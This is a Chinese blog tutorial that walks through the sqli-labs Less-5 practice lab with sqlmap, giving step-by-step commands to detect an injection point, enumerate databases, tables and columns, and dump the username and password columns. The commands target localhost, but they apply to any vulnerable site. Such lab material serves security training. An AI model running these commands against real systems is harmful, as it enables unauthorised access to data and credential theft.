（sqlmap）【sqli-labs5-6】GET方法、单双引号、报错注入

黑色地带（崛起）

已于 2022-07-07 16:33:27 修改

阅读量896

点赞数 1

分类专栏： # 【全】sqlil-abs靶场文章标签： mysql 数据库 database

于 2022-05-29 17:12:50 首次发布

本文链接：https://blog.csdn.net/qq_53079406/article/details/125023495

版权

【全】sqlil-abs靶场专栏收录该内容

37 篇文章 23 订阅

订阅专栏

推荐：

一、错误注入（sqlmap）SQL注入基本步骤：

推荐：

【SQL注入-可回显】报错注入：简介、相关函数、利用方法https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165718272016782390523827%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165718272016782390523827&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185^v2^control&utm_term=%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4450

一、错误注入（sqlmap）SQL注入基本步骤：

第一步：注入点测试

第二步：爆数据库名

第三步：爆数据库表

第四步：爆字段

第五步：爆数据

二、扩展

2.1、命令扩展

（1）如果提前找到了数据库类型

--dbms +数据库

（2）扫描的等级

最高等级是

--leve=5 --risk=3

2.2、注：

我使用Windows中的sqlmap做，会带上python sqlmap.py

Linux：直接sqlmap +……

2.3、推荐：

（手工）【sqllabs5-6】GET方法、单双引号、报错注入：基本步骤、错误注入过程https://blog.csdn.net/qq_53079406/article/details/125015773?spm=1001.2014.3001.5501

三、Less5（GET-Double injection-Single Quotes -String）

3.1、第一步：检测是否存在注入

基础操作

python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --batch

--batch是使用默认设置

其实环境都扫出来了

就可以再加上--dbms mysql了

3.2、第二步：爆数据库名

命令

#获取全部数据库

sqlmap.py -u url --dbs --batch

---------

#获取当前数据库

sqlmap.py -u url --current-dbs --batch

基础操作

python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --dbs --batch

3.3、第三步：爆数据库表名

命令

python sqlmap.py -u url -D DB --tables --batch

基础操作

python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch

3.4、第四步：爆字段名

命令：

sqlmap.py -u url -D DB -T TBL --columns --batch

基础操作

python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch

3.5、第五步：爆数据

命令：

sqlmap.py -u url -D DB -T TBL -C "COL1,COL2" --dump --batch

基础操作：

python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch